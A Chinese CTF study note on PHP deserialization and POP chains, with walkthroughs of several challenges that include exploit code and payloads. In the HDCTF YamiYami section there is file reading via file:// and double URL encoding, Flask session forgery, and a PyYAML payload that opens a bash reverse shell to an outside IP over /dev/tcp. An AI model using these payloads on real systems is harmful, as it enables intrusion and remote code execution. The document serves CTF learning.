序列化与反序列化的概念
序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。
序列化举例:一般ctf题目中我们就是要将对象转化成字符串,而最重要的就是构造属性
反序列化:
php反序列化漏洞又称对象注入 , 可能会导致远程代码执行(RCE)
理解为漏洞执行unserialize函数 调用某一类并执行魔术方法 之后执行类中的函数 产生安全问题
下面是一些常见的魔术引号:
__construct() //对象创建(new)时会自动调用。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据 包括private或者是不存在的
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发 就是加了括号
__autoload() //在代码中当调用不存在的类时会自动调用该方法。
漏洞前提
- unserialize()函数的变量可控
- php文件中存在可利用的类,类中有魔术方法
利用步骤
- 把题目代码复制到本地
- 注释掉方法和一些没有用的东西
- 本地对属性赋值,构造序列化,url编码后输出,避免把不可见字符的影响
利用步骤举例
下面是对对象进行简单的属性赋值,并且注释掉了没用的方法
<?php
class DEMO1{
//赋值
public $func = 'evil';
public $arg = 'phpinfo()';
// public function safe(){
// echo $this->arg;
// }
// public function evil() {
// eval($this->arg);
// }
// public function run(){
// $this->{$this->func}();
// }
}
// $obj = unserialize($_GET['a']);
// $obj->run();
?>
下面是要对以上赋值进行输出
echo(serialize(new DEMO1())); //单纯序列化
echo("\n");
echo (urlencode(serialize(new DEMO1()))); //进行url编码
访问控制修饰符
根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下
public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成:%00*%00属性名
private属性被序列化的时候属性值会变成:%00类名%00属性名
如
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化
下面介绍三种赋值方式:
内部直接赋值 只能赋值字符串
class DEMO1{ public $func = 'evil'; public $arg = 'phpinfo();'; } echo(serialize(new DEMO1()));
外部赋值 只能访问public属性的变量
class DEMO1{ public $func = 'evil'; public $arg = 'phpinfo()'; } //新建一个然后直接输出这个$o $o = new DEMO1(); $o -> func = 'evil'; $o -> arg = 'phpinfo();' echo(serialize($o));
小技巧: 对于php7.1+版本,对属性容错机制较高,就算不是public也可以在本地修改成public
构造方法赋值 (万能方法)解决上述所有麻烦
class DEMO1{ public $func; public $arg; function __construct(){ $this -> func = 'evil'; $this -> arg = phpinfo(); } } echo(serialize(new DEMO1()));
参考资料:CTF中的序列化与反序列化 - Hel10 - 博客园 (cnblogs.com)
反序列化学习笔记【一文打通ctf中的反序列化题目】_ctfphp反序列化简单例题-CSDN博客
下面是一些实例
[HDCTF 2023]YamiYami
打开题目,发现存在三个地址
第一个链接点进去发现地址跳转,可能存在文件包含漏洞,我们可以考虑用file协议读取etc/passwd下的文件
etc/passwd 这个文件通常存储着用户账户的信息,包括用户名、用户 ID、用户组 ID 等
构造payload,读取etc/passwd文件
read?url=file:///etc/passwd
读取环境变量[CTF]proc目录的应用_ctf "proc-CSDN博客
引用的是进程 ID 为 1 的 init 进程的环境变量。
init 进程是 Linux 系统中的第一个用户空间进程,它负责启动和管理其他用户进程。
read?url=file:///proc/1/environ
得到flag:NSSCTF{10b7a6f1-c324-483d-bbb1-7519beced37d}
- 局限:这种方法只适用于环境变量没被清除且flag不在根目录的情况下
第三个链接中在/pwd文件下存在/app文件
我们试试文件读取读取/app文件:read?url=/app
是一个使用正则表达式进行匹配的代码片段。给url
中查找满足正则表达式模式 'app.*'
的所有匹配项,并以列表的形式返回这些匹配项。re.IGNORECASE
是一个参数,它告诉 re.findall()
在匹配时忽略大小写。
URL双重编码尝试绕过waf
原理:这里采用的是urlopen的方式进行任意文件读取,一次编码会被还原,服务端收到的还是app就会过滤,而二次编码后,到服务端是一次编码的过程,不存在app,也就不会被识别,这里urlopen接受的是一个url地址,url地址会再进行一次编码,所以也可以正常访问
app/app.py
> %61%70%70/%61%70%70%2E%70%79
>%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39
构造paylaod:read?url=file:///%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39
得到源码
用pycharm格式化字符串
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
session伪造 Flask之session伪造(从某平台学习Session身份伪造)_session 存储身份 是否伪造-CSDN博客
分析后得出,首先需要进行session伪造 -> if session.get("passport")=="Welcome To HDCTF2023":
源码看到了session需要满足要求才会有权限读取上传的文件,由于伪造session需要密钥SECRET_KEY,而密钥SECRET_KEY的生成方式源码也已经给出了random.seed(uuid.getnode()):返回的值是Mac值的16进制形式,但是去掉了中间的冒号
app.config['SECRET_KEY'] = str(random.random()*233)
在linux上读取ifconfig即可
linux的网卡地址在:/sys/class/net/eth0/addres
中
读取网卡的值:02:42:ac:02:4d:ad,然后使用以下脚本计数SECRET_KEY`
import random
if __name__ == '__main__':
random.seed(0x0242ac024dad)
print(str(random.random() * 233))
# 结果:132.76992396847822
然后进行伪造使用命令
python3.9 flask_session_cookie_manager3.py decode -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZEiQZA.MxDCX2hJb-pvOeb7T3U48RhsrtI" -s "132.76992396847822"
# 结果为:{'passport': 'YamiYami'}
python3.9 flask_session_cookie_manager3.py encode -t "{'passport': 'Welcome To HDCTF2023'}" -s "132.76992396847822"
# 结果为:eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZEiSkQ.UJ6u_SeyNSd2dTKGE0yuBEROShs
然后将得到值替换掉当前的session值
然后就是pyyaml的反序列,看了下出题人的payload,使用了反弹shell
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/113.124.234.43/1999 <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
上传成功后去访问这个文件:http://node4.anna.nssctf.cn:28652/boogipop?file=uploads/a.txt
注意:访问之前先在自己的服务器上开好监听
[极客大挑战 2019]PHP
扫目录拿到www.zip网站的备份源码
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
$a = new Name("admin",100);
$a = serialize($a);
echo $a;
?>
得到
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过__wakeup
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
private属性被序列化的时候属性值会变成%00类名%00属性名,根据规则进行修改
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
然后?select传值,构造paylaod
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
ISCC2020-Php is the best language(php反序列化)
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file="flag.php"; //本来是public $file这里改成public $file="flag.php";
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}/*
if (isset($_GET['data']))
{
$data = $_GET['data'];
$good = unserialize($data);
echo $good;
}
else
{
$url='./index.php';
}
$html='';
if(isset($_POST['test'])){
$s = $_POST['test'];
$html.="<p>谢谢参与!</p>";
}*/
//下面是解题代码
$a = new baby("flag.php"); //这里中flag.php不写也没事,上面的属性值已经写好了
$a = serialize($a);
echo $a; //O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
?>
直接构造payload:?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
例题
index3.php You are in my range!
<?php
error_reporting(0);
class Vox{
protected $headset;
public $sound;
//考虑fun函数作为最终的利用点
public function fun($pulse){
//include!!!!危险函数 文件包含 通过文件流 伪协议 base64 读取flag.php文件
include($pulse);
}
//调用invoke魔术方法 对象作为函数时触发 找用小括号的地方
public function __invoke(){
//这里可以调用fun函数
$this->fun($this->headset);
}
}
class Saw{
public $fearless;
public $gun;
public function __construct($file='index.php'){
$this->fearless = $file;
echo $this->fearless . ' You are in my range!'."<br>";
}
//对象视为字符串触发 定位到正则匹配
public function __toString(){
//把gun设置为Petal的对象访问fearless 属于不存在属性
//需要注意的是gun设定为一个数组了 其中有一个键值为‘gun’ 所以给该键值进行相应赋值value gun = array("gun" => $b)
$this->gun['gun']->fearless;
return "Saw";
}
//只是一个普通的方法 因为只有一个下划线 发现根本调用不了直接排除就好了
public function _pain(){
if($this->fearless){
highlight_file($this->fearless);
}
}
//wakeup使用unserialize的时候自动触发
public function __wakeup(){
//正则匹配 把对象视为字符串 触发其toString方法
if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
echo "Does it hurt? That's right";
$this->fearless = "index3.php";
}
}
}
class Petal{
public $seed;
public function __construct(){
$this->seed = array();
}
//寻找不可访问的属性 寻找箭头
public function __get($sun){
$Nourishment = $this->seed;
//函数的调用后面有括号 可以把类的对象作为函数调用 触发invoke
return $Nourishment();
}
}
if(isset($_GET['ozo'])){
unserialize($_GET['ozo']); //只有反序列化一定是自动触发的过程
}
else{
$Saw = new Saw('index3.php');
$Saw->_pain();
}
?>
解题:
起始位置:先考虑魔术方法,destruct或者wakeup 现在题目中只能去利用wakeup作为起始。
结束位置:利用危险的函数,比如include,highlight_file去进行文件内容的读取
知识点补充:
遇到正则匹配不要慌,那正是toString方法自动调用的入口
如果需要触发的魔术方法在一个方法中,那么就new两个对象交互使用
include文件包含读取php文件内容常用模板 文件流伪协议base64 即:
php://filter/convert.base64-encode/resource=flag.php
private的赋值直接在内部,在外面可能赋值不成功
构建exp的顺序是从结尾往起始写的,逆向思维,就是我达成这个目的需要什么事情作为前提就是思考的过程,所以最终serialize的是exp的最后值
解题过程:
首先需要找到最后的危险函数,看到了在Vox里面的include。
然后想要使用include就要调用fun这个函数
想要调用fun就要触发__invoke这个魔术方法
__invoke() //当脚本尝试将对象调用为函数时触发
作为函数就是添加了一个小括号去触发,发现在Petal类中__get方法具备这个调用函数的功能,所以需要去触发__get这个方法
__get() //用于从不可访问的属性读取数据 包括属性不可访问和不存在
因为与访问相关,所以全局搜索->去找哪里会访问,可以发现在Saw类中的__toString中有一个利用数组特性去访问fearless的过程,这个fearless属于上面的get方法中不存在的属性,为不可访问属性,会触发__get,所以需要去触发__toString这个魔术方法
__toString() //把类当作字符串使用时触发
这就需要去利用正则表达式,视为字符串的特性去触发这个toString方法,而正则表达式在wakeup魔术方法里面
__wakeup() //使用unserialize时触发
所以直接在反序列化的时候就会触发这个wakeup魔术方法,到此整个pop链的逻辑全部理清
exp:
$v = new Vox;
//headset的赋值在内部直接赋值为php://filter/convert.base64-encode/resource=flag.php
$p = new Petal;
$p -> seed = $v; //把$v这个对象作为函数 触发这个对象的invoke方法
$s = new Saw;
$s -> gun = array("gun" => $p); //让$p这个对象去访问fearless 不存在触发这个对象中的get方法
$s2 = new Saw;
$s2 -> fearless = $s; //把$s这个对象作为字符串 触发这个对象中的toString方法
echo urlencode(serialize($s2)); //输出最终结果
Demo1
<?php
error_reporting(0); //关闭错误报告
class happy{
protected $file='demo1.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
if(!empty($this->file))
{
if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) //过滤了文件名中的\\与/
show_source(dirname(__FILE__).'/'.$this->file); //打开文件操作
else
die('Wrong filename.');
}
}
function __wakeup(){
$this->file='demo1.php';
}
public function __toString()
{
return '';
}
}
if (!isset($_GET['file'])){
show_source('demo1.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?>
<!--password in flag.php-->
分析:
到
unserialize
先找找看有无__wakeup()、__destruct()
在
happy
类中有__destruct()
方法 并且如果$file
存在的话直接展示$file
的代码但是注意到
happy
类中还有__wakeup()
方法 将$file
的值改变在
unserialize
执行__destruct()
要先执行__wakeup()
因此要想办法绕过__wakeup()
注意点:protected
属性在序列化过后参数前面的标识符为\00*\00
(\00为空字符) 但是用\00的时候不能成功输出 以因此使用chr(0)来拼接代替
<?php
class happy{
public $file='demo1.php';
}
$o = new happy();
echo serialize($o);
//O:5:"happy":1:{s:7:"\00*\00file";s:8:"flag.php";} \00为空字符
$s = 'O:5:"happy":2:{s:7:"'.chr(0).'*'.chr(0).'file";s:8:"flag.php";}';
echo base64_encode($s);
//Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
?>
因此构造即可获得flag:
?file=Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9